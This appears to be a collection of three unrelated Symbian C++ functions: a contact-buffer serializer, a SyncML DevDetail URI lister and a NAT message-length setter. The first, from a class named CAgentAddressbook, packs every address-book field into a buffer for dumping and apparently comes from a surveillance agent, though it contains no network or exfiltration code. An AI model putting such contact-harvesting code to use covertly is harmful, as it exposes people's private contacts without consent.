HBufC8* CAgentAddressbook::GetContactBufferL(const CContactItem& item) { CContactItemFieldSet& fields = item.CardFields(); if (ContainsEmptyField(fields)) { // This item has been removed but has not been deleted from the database yet __FLOG(_L("Skip Item: Contains Empty Fields")); return HBufC8::NewL(0); } if (item.IsDeleted()) { __FLOG(_L("Skip Item: Deleted")); return HBufC8::NewL(0); } __FLOG(_L("DumpContactItem")); //create buffer CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); for (TInt i = 0; i < fields.Count(); i++) { const CContactItemField& itemField = fields[i]; if (itemField.IsDeleted()) { __FLOG(_L("Skip IsDeleted")); continue; } RBuf buf(ReadFieldAsTextL(itemField)); buf.CleanupClosePushL(); if (buf.Length() > 0) { TContactEntry intType = (TContactEntry) GetTypeFromItemField(itemField); __FLOG_1(_L("Type: %d"), intType); __FLOG(buf); // 1st byte is the Type and next 3 bytes are the Length TUint32 typeAndLen = intType << 24; typeAndLen += buf.Size(); TUint8* dataPtr = (TUint8 *) buf.Ptr(); buffer->InsertL(buffer->Size(), &typeAndLen, sizeof(typeAndLen)); buffer->InsertL(buffer->Size(), dataPtr, buf.Size()); } CleanupStack::PopAndDestroy(&buf); } // adds header data to buffer THeader header; header.dwSize += buffer->Size(); header.lOid = item.Id(); buffer->InsertL(0, &header, sizeof(header)); HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
void CNSmlDmDevDetailAdapter::ChildURIListL( const TDesC8& aURI, const TDesC8& /*aLUID*/, const CArrayFix<TSmlDmMappingInfo>& /*aPreviousURISegmentList*/, const TInt aResultsRef, const TInt aStatusRef ) { _DBG_FILE("CNSmlDmDevDetailAdapter::ChildURIListL(): begin"); CSmlDmAdapter::TError retValue = CSmlDmAdapter::EOk; CBufBase *currentURISegmentList = CBufFlat::NewL(64); CleanupStack::PushL(currentURISegmentList); TInt ret = aURI.LocateReverse(KNSmlDMDevDetailSeparator()[0]); if ( ret == KErrNotFound ) { ret = -1; } TInt len = aURI.Length() - ( ret + 1 ); TPtrC8 segment = aURI.Right( len ); if ( segment == KNSmlDMDevDetailNodeName ) { currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailDevTypNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailOEMNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailFwVNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSwVNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailHwVNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailLrgObjNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailURINodeName() ); } else if ( segment == KNSmlDMDevDetailURINodeName ) { currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxDepthNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxTotLenNodeName() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailSeparator() ); currentURISegmentList->InsertL( currentURISegmentList->Size(), KNSmlDMDevDetailMaxSegLenNodeName() ); } else { retValue = CSmlDmAdapter::EError; } iDmCallback->SetStatusL(aStatusRef,retValue); iDmCallback->SetResultsL(aResultsRef,*currentURISegmentList,KNullDesC8); CleanupStack::PopAndDestroy(); //currentURISegmentList; _DBG_FILE("CNSmlDmDevDetailAdapter::ChildURIListL(): end"); }
// ----------------------------------------------------------------------------- // CNATFWUNSAFMessage::SetMessageLength // UNSAF message length does not include the NATFWUNSAF header // ----------------------------------------------------------------------------- // void CNATFWUNSAFMessage::SetMessageLength(CBufBase& aNATFWUNSAFMessage) { SetMessageLength(aNATFWUNSAFMessage, aNATFWUNSAFMessage.Size() - EHeaderSize); }